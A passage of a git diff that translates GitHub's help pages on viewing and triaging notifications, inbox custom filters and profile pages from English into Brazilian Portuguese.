-To customize how you'd like to receive updates for specific pull requests or issues, you can configure your preferences within the issue or pull request. For more information, see "[Triaging a single notification](/github/managing-subscriptions-and-notifications-on-github/triaging-a-single-notification#customizing-when-to-receive-future-updates-for-an-issue-or-pull-request)."
+Para personalizar como você gostaria de receber atualizações de pull requests ou problemas específicos, é possível configurar suas preferências dentro do problema ou da pull request. Para obter mais informações, consulte “[Fazendo triagem de uma só notificação](/github/managing-subscriptions-and-notifications-on-github/triaging-a-single-notification#customizing-when-to-receive-future-updates-for-an-issue-or-pull-request)".
 
 {% ifversion fpt or ghes or ghec %}
-You can customize and schedule push notifications in the {% data variables.product.prodname_mobile %} app. For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#managing-your-notification-settings-with-github-mobile)."
+Você pode personalizar e programar notificações de push no aplicativo de {% data variables.product.prodname_mobile %}. Para obter mais informações, consulte “[Configurando notificações](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#managing-your-notification-settings-with-github-mobile)".
 {% endif %}
 
-## Reasons for receiving notifications
+## Motivos para receber notificações
 
-Your inbox is configured with default filters, which represent the most common reasons that people need to follow-up on their notifications. For more information about inbox filters, see "[Managing notifications from your inbox](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#default-notification-filters)."
+Sua caixa de entrada está configurada com filtros-padrão, que representam as razões mais comuns para que as pessoas precisem acompanhar suas notificações. Para obter mais informações sobre filtros na caixa de entrada, consulte "[Gerenciar notificações de sua caixa de entrada](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#default-notification-filters)".
 
-Your inbox shows the `reasons` you're receiving notifications as a label.
+Sua caixa de entrada mostra as `razões` de você estar recebendo notificações como uma etiqueta.
 
-![Reasons labels in inbox](/assets/images/help/notifications-v2/reasons-as-labels-in-inbox.png)
+![Etiquetas de razões na caixa de entrada](/assets/images/help/notifications-v2/reasons-as-labels-in-inbox.png)
 
-You can filter your inbox by the reason you're subscribed to notifications. For example, to only see pull requests where someone requested your review, you can use the `review-requested` query filter.
+Você pode filtrar sua caixa de entrada pelo motivo pelo qual está inscrito nas notificações. Por exemplo, para ver apenas pull requests em que alguém solicitou sua revisão, você pode usar o filtro de consulta `review-requested`.
 
-![Filter notifications by review requested reason](/assets/images/help/notifications-v2/review-requested-reason.png)
+![Filtrar notificações por revisão da razão solicitada](/assets/images/help/notifications-v2/review-requested-reason.png)
 
-If you've configured notifications to be sent by email and believe you're receiving notifications that don't belong to you, consider troubleshooting with email headers, which show the intended recipient. For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#filtering-email-notifications)."
+Se você configurou as notificações para serem enviadas por e-mail e acredita que está recebendo notificações que não pertencem a você, considere a resolução de problemas com cabeçalhos de e-mail, que mostram o destinatário pretendido. Para obter mais informações, consulte “[Configurando notificações](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#filtering-email-notifications)".
 
-## Triaging notifications from your inbox
+## Fazendo a triagem de notificações da sua caixa de entrada
 
-To effectively manage your notifications, you can triage your inbox with options to:
-- Remove a notification from the inbox with **Done**. You can review **Done** notifications all in one place by clicking **Done** in the sidebar or by using the query `is:done`.
-- Mark a notification as read or unread.
-- **Save** a notification for later review. **Saved** notifications are flagged in your inbox. You can review **Saved** notifications all in one place in the sidebar by clicking **Saved** or by using the query `is:saved`.
-- Automatically unsubscribe from this notification and future updates from this conversation. Unsubscribing also removes the notification from your inbox. If you unsubscribe from a conversation and someone mentions your username or a team you're on that you're receiving updates for, then you will start to receive notifications from this conversation again.
+Para gerenciar suas notificações efetivamente, você pode fazer a triagem de sua caixa de entrada com opções para:
+- Remover uma notificação da caixa de entrada com **Done** (Concluído). Você pode revisar as notificações marcadas com **Concluído** em um só lugar clicando em **Concluído** na barra lateral ou usando a consulta `is:done`.
+- Marcar uma notificação como lida ou não lida.
+- **Salvar** uma notificação para a revisão posterior. As notificações **Saved** (Salvas) estão sinalizadas na sua caixa de entrada. Você pode revisar as notificações marcadas como **Salvas** em um só lugar clicando em **Saved** (Salva) na barra lateral ou usando a consulta `is:saved`.
+- Cancelar automaticamente esta notificação e atualizações futuras desta conversa. Cancelar inscrição também remove a notificação da sua caixa de entrada. Se você cancelar a inscrição de uma conversa e alguém menciona seu nome de usuário ou uma equipe para a qual você está recebendo atualizações, então você começará a receber notificações desta conversa novamente.
 
-From your inbox you can also triage multiple notifications at once. For more information, see "[Managing notifications from your inbox](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#triaging-multiple-notifications-at-the-same-time)."
+Em sua caixa de entrada, você também pode fazer triagem de várias notificações de uma só vez. Para obter mais informações, consulte "[Gerenciar notificações de sua caixa de entrada](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#triaging-multiple-notifications-at-the-same-time)".
 
-## Customizing your notifications inbox
+## Personalizando sua caixa de entrada de notificações
 
-To focus on a group of notifications in your inbox on {% data variables.product.product_location %}{% ifversion fpt or ghes or ghec %} or {% data variables.product.prodname_mobile %}{% endif %}, you can create custom filters. For example, you can create a custom filter for an open source project you contribute to and only see notifications for that repository in which you are mentioned. For more information, see "[Managing notifications from your inbox](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox)." For more examples of how to customize your triaging workflow, see "[Customizing a workflow for triaging your notifications](/github/managing-subscriptions-and-notifications-on-github/customizing-a-workflow-for-triaging-your-notifications)."
+Para focar em um grupo de notificações na sua caixa de entrada em {% data variables.product.product_location %}{% ifversion fpt or ghes or ghec %} ou {% data variables.product.prodname_mobile %}{% endif %}, você pode criar filtros personalizados. Por exemplo, você pode criar um filtro personalizado para um projeto de código aberto para o qual contribui e somente visualizar notificações para esse repositório em que você é mencionado. Para obter mais informações, consulte "[Gerenciando notificações de sua caixa de entrada](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox)". Para mais exemplos de como personalizar a triagem de seu fluxo de trabalho, consulte "[Personalizando um fluxo de trabalho para triagem de suas notificações.](/github/managing-subscriptions-and-notifications-on-github/customizing-a-workflow-for-triaging-your-notifications)
 
-## Notification retention policy
+## Política de retenção de notificações
 
-Notifications that are not marked as **Saved** are kept for 5 months. Notifications marked as **Saved** are kept indefinitely. If your saved notification is older than 5 months and you unsave it, the notification will disappear from your inbox within a day.
+Notificações que não estão marcadas como **Salvas** são mantidas por 5 meses. Notificações marcadas como **Salvas** são mantidas indefinidamente. Se sua notificação salva tiver mais de 5 meses e você não salvá-la, a notificação desaparecerá da sua caixa de entrada em um dia.
 
-## Feedback and support
+## Feedback e suporte
 
-If you have feedback or feature requests for notifications, use the [feedback form for notifications](https://support.github.com/contact/feedback?contact%5Bcategory%5D=notifications&contact%5Bsubject%5D=Product+feedback).
+Se você tiver feedback ou solicitações de recursos para notificações, use o [formulário de feedback para notificações](https://support.github.com/contact/feedback?contact%5Bcategory%5D=notifications&contact%5Bsubject%5D=Product+feedback).
diff --git a/translations/pt-BR/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/index.md b/translations/pt-BR/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/index.md
index 66a0b98a87..d42a13b94a 100644
--- a/translations/pt-BR/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/index.md
+++ b/translations/pt-BR/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/index.md
@@ -1,6 +1,6 @@
 ---
-title: Viewing and triaging notifications
-intro: 'To optimize your notifications workflow, you can customize how you view and triage notifications.'
+title: Visualizando e fazendo triagem de notificações
+intro: 'Para otimizar seu fluxo de trabalho de notificações, é possível personalizar a forma como você visualiza e faz a triagem de notificações.'
 redirect_from:
   - /articles/managing-notifications
   - /articles/managing-your-notifications
@@ -16,6 +16,6 @@ children:
   - /managing-notifications-from-your-inbox
   - /triaging-a-single-notification
   - /customizing-a-workflow-for-triaging-your-notifications
-shortTitle: Customize a workflow
+shortTitle: Personalizar um fluxo de trabalho
 ---
 
diff --git a/translations/pt-BR/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox.md b/translations/pt-BR/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox.md
index 0b8710d460..222e531c9a 100644
--- a/translations/pt-BR/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox.md
+++ b/translations/pt-BR/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox.md
@@ -1,6 +1,6 @@
 ---
-title: Managing notifications from your inbox
-intro: 'Use your inbox to quickly triage and sync your notifications across email{% ifversion fpt or ghes or ghec %} and mobile{% endif %}.'
+title: Gerenciamento de notificações da sua caixa de entrada
+intro: 'Utilize sua caixa de entrada para rapidamente fazer triagem e sincronizar suas notificações do e-mail{% ifversion fpt or ghes or ghec %} e o aparelho móvel{% endif %}.'
 redirect_from:
   - /articles/marking-notifications-as-read
   - /articles/saving-notifications-for-later
@@ -13,102 +13,103 @@ versions:
   ghec: '*'
 topics:
   - Notifications
-shortTitle: Manage from your inbox
+shortTitle: Gerenciar a partir de sua caixa de entrada
 ---
+
 {% ifversion ghes %}
 {% data reusables.mobile.ghes-release-phase %}
 {% endif %}
 
-## About your inbox
+## Sobre sua caixa de entrada
 
 {% ifversion fpt or ghes or ghec %}
-{% data reusables.notifications-v2.notifications-inbox-required-setting %} For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#choosing-your-notification-settings)."
+{% data reusables.notifications-v2.notifications-inbox-required-setting %} Para obter mais informações, consulte "[Configurando notificações](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#choosing-your-notification-settings)".
 {% endif %}
 
-To access your notifications inbox, in the upper-right corner of any page, click {% octicon "bell" aria-label="The notifications bell" %}.
+Para acessar sua caixa de entrada de notificações, no canto superior direito de qualquer página, clique em {% octicon "bell" aria-label="The notifications bell" %}.
 
-  ![Notification indicating any unread message](/assets/images/help/notifications/notifications_general_existence_indicator.png)
+  ![Notificação indicando qualquer mensagem não lida](/assets/images/help/notifications/notifications_general_existence_indicator.png)
 
-Your inbox shows all of the notifications that you haven't unsubscribed to or marked as **Done.** You can customize your inbox to best suit your workflow using filters, viewing all or just unread notifications, and grouping your notifications to get a quick overview.
+Sua caixa de entrada mostra todas as notificações que você não cancelou sua inscrição ou marcou como **Concluído.** Você pode personalizar sua caixa de entrada para melhor se adequar ao seu fluxo de trabalho usando filtros, visualizando todas ou apenas notificações não lidas e agrupando suas notificações para obter uma visão geral.
 
-  ![inbox view](/assets/images/help/notifications-v2/inbox-view.png)
+  ![visualização da caixa de entrada](/assets/images/help/notifications-v2/inbox-view.png)
 
-By default, your inbox will show read and unread notifications. To only see unread notifications, click **Unread** or use the `is:unread` query.
+Por padrão, sua caixa de entrada mostrará notificações lidas e não lidas. Para ver apenas notificações não lidas, clique em **Não lidas** ou use a consulta `is:unread`.
 
-  ![unread inbox view](/assets/images/help/notifications-v2/unread-inbox-view.png)
+  ![visualização da caixa de entrada não lida](/assets/images/help/notifications-v2/unread-inbox-view.png)
 
-## Triaging options
+## Opções de triagem
 
-You have several options for triaging notifications from your inbox.
+Você tem várias opções para fazer triagem de notificações a partir de sua caixa de entrada.
 
-| Triaging option | Description |
-|-----------------|-------------|
-| Save            | Saves your notification for later review. To save a notification, to the right of the notification, click {% octicon "bookmark" aria-label="The bookmark icon" %}. <br> <br> Saved notifications are kept indefinitely and can be viewed by clicking **Saved** in the sidebar or with the `is:saved` query. If your saved notification is older than 5 months and becomes unsaved, the notification will disappear from your inbox within a day. |
-| Done            | Marks a notification as completed and removes the notification from your inbox. You can see all completed notifications by clicking **Done** in the sidebar or with the `is:done` query. Notifications marked as **Done** are saved for 5 months.
-| Unsubscribe     | Automatically removes the notification from your inbox and unsubscribes you from the conversation until you are @mentioned, a team you're on is @mentioned, or you're requested for review.
-| Read            | Marks a notification as read. To only view read notifications in your inbox, use the `is:read` query. This query doesn't include notifications marked as **Done**.
-| Unread          | Marks notification as unread. To only view unread notifications in your inbox, use the `is:unread` query. |
+| Opções de triagem   | Descrição                                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
+| ------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| Salvar              | Salva a sua notificação para revisão posterior. Para salvar uma notificação, à direita da notificação, clique em {% octicon "bookmark" aria-label="The bookmark icon" %}. <br> <br> As notificações salvas são mantidas indefinidamente e podem ser vistas clicando em **Salvo** na barra lateral ou com a consulta `is:saved`. Se sua notificação salva tiver mais de 5 meses e tornar-se não salva, a notificação desaparecerá da sua caixa de entrada em um dia. |
+| Concluído           | Marca uma notificação como concluída e remove a notificação da sua caixa de entrada. Você pode ver todas as notificações concluídas clicando em **Concluido** na barra lateral ou com a consulta `is:done`. Notificações marcadas como **Concluídas** são salvas por 5 meses.                                                                                                                                                                                                   |
+| Cancelar assinatura | Remove automaticamente a notificação de sua caixa de entrada e cancela sua assinatura da conversa até que você seja @mencionado, uma equipe na qual você esteja seja @mencionada, ou você seja solicitado para revisão.                                                                                                                                                                                                                                                         |
+| Leitura             | Marca uma notificação como lida. Para ver apenas as notificações lidas na sua caixa de entrada, use a consulta `is:read`. Esta consulta não inclui notificações marcadas como **Concluído**.                                                                                                                                                                                                                                                                                    |
+| Não lido            | Marca uma notificação como não lida. Para ver apenas as notificações não lidas na sua caixa de entrada, use a consulta `is:read`.                                                                                                                                                                                                                                                                                                                                               |
 
-To see the available keyboard shortcuts, see "[Keyboard Shortcuts](/github/getting-started-with-github/keyboard-shortcuts#notifications)."
+Para ver os atalhos de teclado disponíveis, consulte "[Atalhos de teclado](/github/getting-started-with-github/keyboard-shortcuts#notifications)".
 
-Before choosing a triage option, you can preview your notification's details first and investigate. For more information, see "[Triaging a single notification](/github/managing-subscriptions-and-notifications-on-github/triaging-a-single-notification)."
+Antes de escolher uma opção de triagem, primeiro você pode pré-visualizar os detalhes da sua notificação e investigar. Para obter mais informações, consulte “[Fazendo triagem de uma só notificação](/github/managing-subscriptions-and-notifications-on-github/triaging-a-single-notification)".
 
-## Triaging multiple notifications at the same time
+## Fazer triagem de várias notificações ao mesmo tempo
 
-To triage multiple notifications at once, select the relevant notifications and use the {% octicon "kebab-horizontal" aria-label="The edit icon" %} drop-down to choose a triage option.
+Para fazer triagem de várias notificações de uma só vez, selecione as notificações relevantes e use o menu suspenso {% octicon "kebab-horizontal" aria-label="The edit icon" %} para escolher uma opção de triagem.
 
-![Drop-down menu with triage options and selected notifications](/assets/images/help/notifications-v2/triage-multiple-notifications-together.png)
+![Menu suspenso com opções de triagem e notificações selecionadas](/assets/images/help/notifications-v2/triage-multiple-notifications-together.png)
 
-## Default notification filters
+## Filtros de notificação padrão
 
-By default, your inbox has filters for when you are assigned, participating in a thread, requested to review a pull request, or when your username is @mentioned directly or a team you're a member of is @mentioned.
+Por padrão, sua caixa de entrada tem filtros para quando você é responsável, participa de um thread, é solicitado a rever uma pull request ou quando seu nome de usuário for @mencionado diretamente ou quando uma equipe da qual você é integrante é @mencionada.
 
-  ![Default custom filters](/assets/images/help/notifications-v2/default-filters.png)
+  ![Filtros personalizados padrão](/assets/images/help/notifications-v2/default-filters.png)
 
-## Customizing your inbox with custom filters
+## Personalizando sua caixa de entrada com filtros personalizados
 
-You can add up to 15 of your own custom filters.
+Você pode adicionar até 15 dos seus próprios filtros personalizados.
 
 {% data reusables.notifications.access_notifications %}
-2. To open the filter settings, in the left sidebar, next to "Filters", click {% octicon "gear" aria-label="The Gear icon" %}.
+2. Para abrir as configurações de filtro, na barra lateral esquerda, próximo de "Filtros", clique em {% octicon "gear" aria-label="The Gear icon" %}.
 
   {% tip %}
 
-  **Tip:** You can quickly preview a filter's inbox results by creating a query in your inbox view and clicking **Save**, which opens the custom filter settings.
+  **Dica:** Você pode visualizar rapidamente os resultados da caixa de entrada de um filtro, criando uma consulta na sua caixa de entrada e clicando em **Salvar**, que abre as configurações de filtro personalizado.
 
   {% endtip %}
 
-3. Add a name for your filter and a filter query. For example, to only see notifications for a specific repository, you can create a filter using the query `repo:octocat/open-source-project-name reason:participating`. You can also add emojis with a native emoji keyboard. For a list of supported search queries, see "[Supported queries for custom filters](#supported-queries-for-custom-filters)."
+3. Adicione um nome para seu filtro e uma consulta de filtro. Por exemplo, para ver apenas notificações para um repositório específico, é possível criar um filtro usando a consulta `repo:octocat/open-source-project-name reason:participating`. Você também pode adicionar emojis com um teclado de emojis nativo. Para obter uma lista de consultas de pesquisa compatíveis, consulte "[Consultas suportadas para filtros personalizados](#supported-queries-for-custom-filters)".
 
-  ![Custom filter example](/assets/images/help/notifications-v2/custom-filter-example.png)
+  ![Exemplo de filtro personalizado](/assets/images/help/notifications-v2/custom-filter-example.png)
 
-4. Click **Create**.
+4. Clique em **Criar**.
 
-## Custom filter limitations
+## Limitações de filtro personalizadas
 
-Custom filters do not currently support:
-  - Full text search in your inbox, including searching for pull request or issue titles.
-  - Distinguishing between the `is:issue`, `is:pr`, and `is:pull-request` query filters. These queries will return both issues and pull requests.
-  - Creating more than 15 custom filters.
-  - Changing the default filters or their order.
-  - Search [exclusion](/github/searching-for-information-on-github/understanding-the-search-syntax#exclude-certain-results) using `NOT` or `-QUALIFIER`.
+Filtros personalizados atualmente não suportam:
+  - Pesquisa de texto completo em sua caixa de entrada, incluindo busca de pull request ou títulos de problema.
+  - Distinguindo entre filtros de consulta `is:issue`, `is:pr` e `is:pull-request`. Essas consultas retornarão problemas e pull requests.
+  - Criando mais de 15 filtros personalizados.
+  - Alterando os filtros padrão ou sua ordenação.
+  - Pesquise a [exclusão](/github/searching-for-information-on-github/understanding-the-search-syntax#exclude-certain-results) usando `NÃO` ou `-QUALIFICADOR`.
 
-## Supported queries for custom filters
+## Consultas suportadas para filtros personalizados
 
-These are the types of filters that you can use:
-  - Filter by repository with `repo:`
-  - Filter by discussion type with `is:`
-  - Filter by notification reason with `reason:`{% ifversion fpt or ghec %}
-  - Filter by notification author with `author:`
-  - Filter by organization with `org:`{% endif %}
+Estes são os tipos de filtros que você pode usar:
+  - Filtrar por repositório com `repo:`
+  - Filtrar por tipo de discussão com `is:`
+  - Filtrar por motivo de notificação com `reason:`{% ifversion fpt or ghec %}
+  - Filtrar por autor de notificação com `author:`
+  - Filtrar por organização com `org:`{% endif %}
 
-### Supported `repo:` queries
+### Consultas de `repo:` compatíveis
 
-To add a `repo:` filter, you must include the owner of the repository in the query: `repo:owner/repository`. An owner is the organization or the user who owns the {% data variables.product.prodname_dotcom %} asset that triggers the notification. For example, `repo:octo-org/octo-repo` will show notifications triggered in the octo-repo repository within the octo-org organization.
+Para adicionar um filtro de `repo:`, você deve incluir o proprietário do repositório na consulta: `repo:owner/repository`. Um proprietário é a organização ou o usuário que possui o ativo de {% data variables.product.prodname_dotcom %} que aciona a notificação. Por exemplo, `repo:octo-org/octo-repo` irá mostrar notificações acionadas no repositório octo-repo dentro da organização octo-org.
 
-### Supported `is:` queries
+### Consultas suportadas `is:`
 
-To filter notifications for specific activity on {% data variables.product.product_location %}, you can use the  `is` query. For example, to only see repository invitation updates, use `is:repository-invitation`{% ifversion not ghae %}, and to only see {% data variables.product.prodname_dependabot_alerts %}, use `is:repository-vulnerability-alert`{% endif %}.
+Para filtrar notificações para uma atividade específica no {% data variables.product.product_location %}, você pode usar a  consulta `is`. Por exemplo, para visualizar apenas atualizações de convite do repositório, use `is:repository-invitation`{% ifversion not ghae %}, e para ver apenas {% data variables.product.prodname_dependabot_alerts %}, use `is:repository-vulnerability-alert`{% endif %}.
 
 - `is:check-suite`
 - `is:commit`
@@ -122,67 +123,67 @@ To filter notifications for specific activity on {% data variables.product.produ
 - `is:discussion`{% endif %}
 
 {% ifversion fpt or ghes or ghae-issue-4864 or ghec %}
-For information about reducing noise from notifications for {% data variables.product.prodname_dependabot_alerts %}, see "[Configuring notifications for vulnerable dependencies](/github/managing-security-vulnerabilities/configuring-notifications-for-vulnerable-dependencies)."
+Para informações sobre a redução de ruído de notificações para {% data variables.product.prodname_dependabot_alerts %}, consulte "[Configurar notificações para dependências vulneráveis](/github/managing-security-vulnerabilities/configuring-notifications-for-vulnerable-dependencies)".
 {% endif %}
 
-You can also use the `is:` query to describe how the notification was triaged.
+Você também pode usar a consulta `is:` para descrever como a notificação passou pela triagem.
 
 - `is:saved`
 - `is:done`
 - `is:unread`
 - `is:read`
 
-### Supported `reason:` queries
+### Consultas suportadas `reason:`
 
-To filter notifications by why you've received an update, you can use the `reason:` query. For example, to see notifications when you (or a team you're on) is requested to review a pull request, use `reason:review-requested`. For more information, see "[About notifications](/github/managing-subscriptions-and-notifications-on-github/about-notifications#reasons-for-receiving-notifications)."
+Para filtrar notificações por motivos pelos quais recebeu uma atualização, você pode usar a consulta `reason:`. Por exemplo, para ver notificações quando você (ou uma equipe da qual você participa) é solicitado a rever uma pull request, use `reason:review-requested`. Para obter mais informações, consulte "[Sobre notificações](/github/managing-subscriptions-and-notifications-on-github/about-notifications#reasons-for-receiving-notifications)".
 
-| Query | Description |
-|-----------------|-------------|
-| `reason:assign` | When there's an update on an issue or pull request you've been assigned to.
-| `reason:author` | When you opened a pull request or issue and there has been an update or new comment.
-| `reason:comment`| When you commented on an issue, pull request, or team discussion.
-| `reason:participating` | When you have commented on an issue, pull request, or team discussion or you have been @mentioned.
-| `reason:invitation` | When you're invited to a team, organization, or repository.
-| `reason:manual` | When you click **Subscribe** on an issue or pull request you weren't already subscribed to.
-| `reason:mention` | You were directly @mentioned.
-| `reason:review-requested` | You or a team you're on have been requested to review a pull request.{% ifversion fpt or ghes or ghae-issue-4864 or ghec %}
-| `reason:security-alert` | When a security alert is issued for a repository.{% endif %}
-| `reason:state-change`  | When the state of a pull request or issue is changed. For example, an issue is closed or a pull request is merged.
-| `reason:team-mention` | When a team you're a member of is @mentioned.
-| `reason:ci-activity` | When a repository has a CI update, such as a new workflow run status.
+| Consulta                  | Descrição                                                                                                                         |
+| ------------------------- | --------------------------------------------------------------------------------------------------------------------------------- |
+| `reason:assign`           | Quando houver uma atualização em um problema ou numa pull request que você tenha sido designado responsável.                      |
+| `reason:author`           | Quando você abriu uma pull request ou um problema e houve uma atualização ou novo comentário.                                     |
+| `reason:comment`          | Quando você comentou em um problema, numa pull request ou numa discussão em equipe.                                               |
+| `reason:participating`    | Quando você tiver comentado um problema, uma pull request ou numa discussão de equipe ou tiver sido @mencionado.                  |
+| `reason:invitation`       | Quando você for convidado para uma equipe, organização ou repositório.                                                            |
+| `reason:manual`           | Quando você clicar em **Assinar** em um problema ou uma pull request que você ainda não estava inscrito.                          |
+| `reason:mention`          | Você foi @mencionado diretamente.                                                                                                 |
+| `reason:review-requested` | Foi solicitado que você ou uma equipe revise um um pull request.{% ifversion fpt or ghes or ghae-issue-4864 or ghec %}
+| `reason:security-alert`   | Quando um alerta de segurança é emitido para um repositório.{% endif %}
+| `reason:state-change`     | Quando o estado de uma pull request ou um problema é alterado. Por exemplo, um problema é fechado ou uma pull request é mesclada. |
+| `reason:team-mention`     | Quando uma equipe da qual você é integrante é @mencionada.                                                                        |
+| `reason:ci-activity`      | Quando um repositório tem uma atualização de CI, como um novo status de execução de fluxo de trabalho.                            |
 
 {% ifversion fpt or ghec %}
-### Supported `author:` queries
+### Consultas de `author:` compatíveis
 
-To filter notifications by user, you can use the `author:` query. An author is the original author of the thread (issue, pull request, gist, discussions, and so on) for which you are being notified. For example, to see notifications for threads created by the Octocat user, use `author:octocat`.
+Para filtrar as notificações por usuário, você pode usar a consulta de `author:`. Um autor é o autor original da corrente (problema, pull request, discussões gist, e assim por diante) referente ao qual você está sendo notificado. Por exemplo, para visualizar notificações referentes a tópicos criados pelo usuário do Octocat use `author:octocat`.
 
-### Supported `org:` queries
+### Consultas `org:` compatíveis
 
-To filter notifications by organization, you can use the  `org` query. The organization you need to specify in the query is the organization of the repository for which you are being notified on {% data variables.product.prodname_dotcom %}. This query is useful if you belong to several organizations, and want to see notifications for a specific organization.
+Para filtrar notificações por organização, você pode usar a consulta `org`. A organização que você precisa especificar na consulta é a organização do repositório, para a qual você está sendo notificado em {% data variables.product.prodname_dotcom %}. Esta consulta é útil se você pertencer a várias organizações e desejar ver as notificações para uma organização específica.
 
-For example, to see notifications from the octo-org organization, use `org:octo-org`. 
+Por exemplo, para ver notificações da organização octo-org, use `org:octo-org`.
 
 {% endif %}
 
 {% ifversion fpt or ghes or ghae-issue-4864 or ghec %}
-## {% data variables.product.prodname_dependabot %} custom filters
+## Filtros personalizados de {% data variables.product.prodname_dependabot %}
 
 {% ifversion fpt or ghec or ghes > 3.2 %}
-If you use {% data variables.product.prodname_dependabot %} to keep your dependencies up-to-date, you can use and save these custom filters:
-- `is:repository_vulnerability_alert` to show notifications for {% data variables.product.prodname_dependabot_alerts %}.
-- `reason:security_alert` to show notifications for {% data variables.product.prodname_dependabot_alerts %} and security update pull requests.
-- `author:app/dependabot` to show notifications generated by {% data variables.product.prodname_dependabot %}. This includes {% data variables.product.prodname_dependabot_alerts %}, security update pull requests, and version update pull requests.
+Se você usar {% data variables.product.prodname_dependabot %} para manter suas dependências atualizadas, você pode usar e salvar esses filtros personalizados:
+- `is:repository_vulnerability_alert` para mostrar notificações para {% data variables.product.prodname_dependabot_alerts %}.
+- `reason:security_alert` para mostrar notificações para {% data variables.product.prodname_dependabot_alerts %} e pull requests das atualizações de segurança.
+- `author:app/dependabot` para mostrar as notificações geradas por {% data variables.product.prodname_dependabot %}. Isto inclui {% data variables.product.prodname_dependabot_alerts %}, pull requests para atualizações de segurança e pull requests para atualizações de versão.
 
-For more information about {% data variables.product.prodname_dependabot %}, see "[About managing vulnerable dependencies](/github/managing-security-vulnerabilities/about-managing-vulnerable-dependencies)."
+Para obter mais informações sobre {% data variables.product.prodname_dependabot %}, consulte "[Sobre o gerenciamento de dependências vulneráveis](/github/managing-security-vulnerabilities/about-managing-vulnerable-dependencies)".
 {% endif %}
 
 {% ifversion ghes < 3.3 or ghae-issue-4864 %}
 
-If you use {% data variables.product.prodname_dependabot %} to tell you about vulnerable dependencies, you can use and save these custom filters to show notifications for {% data variables.product.prodname_dependabot_alerts %}:
-- `is:repository_vulnerability_alert` 
+Se você usar {% data variables.product.prodname_dependabot %} para falar sobre dependências vulneráveis, você pode usar e salvar esses filtros personalizados para mostrar notificações para {% data variables.product.prodname_dependabot_alerts %}:
+- `is:repository_vulnerability_alert`
 - `reason:security_alert`
 
-For more information about {% data variables.product.prodname_dependabot %}, see "[About alerts for vulnerable dependencies](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)."
+Para obter mais informações sobre {% data variables.product.prodname_dependabot %}, consulte "[Sobre alertas para dependências vulneráveis](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)".
 {% endif %}
 
 {% endif %}
diff --git a/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-profile.md b/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-profile.md
index 7a6c7d46c8..dd39e4ec7b 100644
--- a/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-profile.md
+++ b/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-profile.md
@@ -1,6 +1,6 @@
 ---
-title: About your profile
-intro: 'Your profile page tells people the story of your work through the repositories you''re interested in, the contributions you''ve made, and the conversations you''ve had.'
+title: Sobre seu perfil
+intro: 'Sua página de perfil conta a história do seu trabalho por meio de repositórios nos quais você está interessado, das contribuições que fez e das conversas que teve.'
 redirect_from:
   - /articles/viewing-your-feeds
   - /articles/profile-pages
@@ -15,29 +15,30 @@ versions:
 topics:
   - Profiles
 ---
-You can add personal information about yourself in your bio, like previous places you've worked, projects you've contributed to, or interests you have that other people may like to know about. For more information, see "[Adding a bio to your profile](/articles/personalizing-your-profile/#adding-a-bio-to-your-profile)."
+
+Você pode adicionar informações pessoais sobre si mesmo na bio, como locais em que trabalhou anteriormente, os projetos com os quais contribuiu ou interesses que você tem que outras pessoas talvez gostem de saber. Para obter mais informações, consulte "[Adicionar uma bio ao seu perfil](/articles/personalizing-your-profile/#adding-a-bio-to-your-profile)".
 
 {% ifversion fpt or ghes or ghec %}
 
 {% data reusables.profile.profile-readme %}
 
-![Profile README file displayed on profile](/assets/images/help/repository/profile-with-readme.png)
+![Arquivo README do perfil exibido no perfil](/assets/images/help/repository/profile-with-readme.png)
 
 {% endif %}
 
-People who visit your profile see a timeline of your contribution activity, like issues and pull requests you've opened, commits you've made, and pull requests you've reviewed. You can choose to display only public contributions or to also include private, anonymized contributions. For more information, see "[Viewing contributions on your profile page](/articles/viewing-contributions-on-your-profile-page)" or "[Publicizing or hiding your private contributions on your profile](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile)."
+As pessoas que visitam seu perfil veem uma linha do tempo da sua atividade de contribuição, como problemas e pull requests que abriu, commits que fez e pull requests que revisou. Você pode optar por exibir apenas contribuições públicas ou também incluir contribuições privadas e anônimas. Para obter mais informações, consulte "[Exibir contribuições na sua página de perfil](/articles/viewing-contributions-on-your-profile-page)" ou "[Mostrar ou ocultar contribuições privadas no perfil](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile)".
 
-People who visit your profile can also see the following information.
+As pessoas que visitam seu perfil também podem ver as informações a seguir.
 
